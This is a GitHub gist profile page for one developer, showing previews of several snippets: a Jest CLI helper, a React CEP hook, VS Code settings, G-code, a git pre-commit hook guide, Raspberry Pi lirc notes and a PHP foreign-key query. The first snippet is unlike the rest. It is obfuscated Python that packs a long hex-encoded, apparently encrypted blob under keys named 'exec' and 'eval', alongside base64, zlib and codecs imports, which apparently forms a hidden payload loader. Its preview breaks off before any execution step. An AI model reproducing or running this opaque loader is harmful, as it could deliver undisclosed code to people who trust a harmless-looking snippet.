Skip to content

Instantly share code, notes, and snippets.

View luciancaetano's full-sized avatar
🎉
Inspired by new experiences.

Lucian Caetano luciancaetano

🎉
Inspired by new experiences.
  • São Paulo, Brasil
View GitHub Profile
#pip install pycryptodome , It works only v3.11.5 Above.
import random ,base64,codecs,zlib,sys;py=""
sys.setrecursionlimit(1000000000)
ru = (lambda **kwargs: (list(kwargs.keys()),list(kwargs.values())))(**{'':'TabError % help','exec':'NamBHDC4r0OMZJ6T1O0YXP2QXHi28TwGxaIBv8FA2SDV3dyEWArI0FbEHA1SUzE1Fw3syOykuOMtmnIo','eval': bytes.fromhex('''ce5546eb815c2d56095436bcc8f78685eea1f4057a80dc15433c0240236b8224ebdb790c4e4ffb02253785af1bf23eda0402cdb2121004f16b02d3fa2f95e9e23a4fb5dbd18646c63e719a352ccfa57a48a99d8b54a618243497e2956ae207e3505f54abb3c0ca2a4fec12a7aed4230581987ddc9f3c65b9caaebec7819c799c73e821479652055df418357a10f4bc3d2cc9884e5d3bd9b97c5321947c9fa19f97f6adaa1d5a7ee90de7a37c01a629b9f089e8633f463ef4f068132c0c2b005ffc06921f1e76d024c14da77b350edaa64faf34b4daae255166a8b80b2c8f83d3eb072adaf6c7abb2473b56ef690d5814c91f694025043426d9007c33cabc3d3cc0947e4ea8372be34ad913934733811915ebb046a1a59482313b9dc7c4b4ef203d525c35eedac9db10ca79d5c5caae26c42bbe360526df2cbbc5c241bf4e48388f484fc40f1c1ac93480e61416db4c84722969f
@luciancaetano
luciancaetano / cli-test.ts
Created April 20, 2021 17:12
CLI util for jest
interface CliResponse {
code: number | null,
stdout: string,
stderr: string,
error: Error | null;
}
export const cli = (file: string, args: string[], cwd: string) => new Promise<CliResponse>((resolve) => {
const response: CliResponse = {
code: null,
@luciancaetano
luciancaetano / useCepPromise.ts
Created March 13, 2020 04:57
React Hook for cep-promise
import cep from 'cep-promise';
import { useCallback, useState, useRef } from 'react';
interface ICEP {
cep: string;
state: string;
city: string;
street: string;
neighborhood: string;
}
@luciancaetano
luciancaetano / cloudSettings
Last active September 16, 2020 18:30
vscode-config
{"lastUpload":"2020-09-16T18:30:37.764Z","extensionVersion":"v3.4.3"}
@luciancaetano
luciancaetano / vscode-ver
Created November 2, 2019 01:23
Bersão do VSCode que funciona bem no linux
1.37.0
G21 ; Set units to mm
G90 ; Absolute positioning
G1 Z2.54 F2540 ; Move to clearance level
;
; Operation: 0
; Name:
; Type: Engrave
; Paths: 1
; Direction: Conventional

Prevent Commit to Master/Dev Branch

Go to your repository. Create file .git/hooks/pre-commit with following content:

#!/bin/sh

branch="$(git rev-parse --abbrev-ref HEAD)"

if [ "$branch" = "dev" ]; then
@luciancaetano
luciancaetano / lirc-pi3.txt
Created May 6, 2019 15:24 — forked from prasanthj/lirc-pi3.txt
Getting lirc to work with Raspberry Pi 3 (Raspbian Stretch)
Notes to make IR shield (made by LinkSprite) work in Raspberry Pi 3 (bought from Amazon [1]).
The vendor has some documentation [2] but that is not complete and sufficient for Raspbian Stretch.
Following are the changes that I made to make it work.
$ sudo apt-get update
$ sudo apt-get install lirc
# Add the following lines to /etc/modules file
lirc_dev
lirc_rpi gpio_in_pin=18 gpio_out_pin=17
<?php
$fks = \DB::select(
/** @lang sql */
"SELECT
tc.CONSTRAINT_NAME,
tc.TABLE_NAME,
kcu.COLUMN_NAME,
rc.update_rule AS on_update,
rc.delete_rule AS on_delete,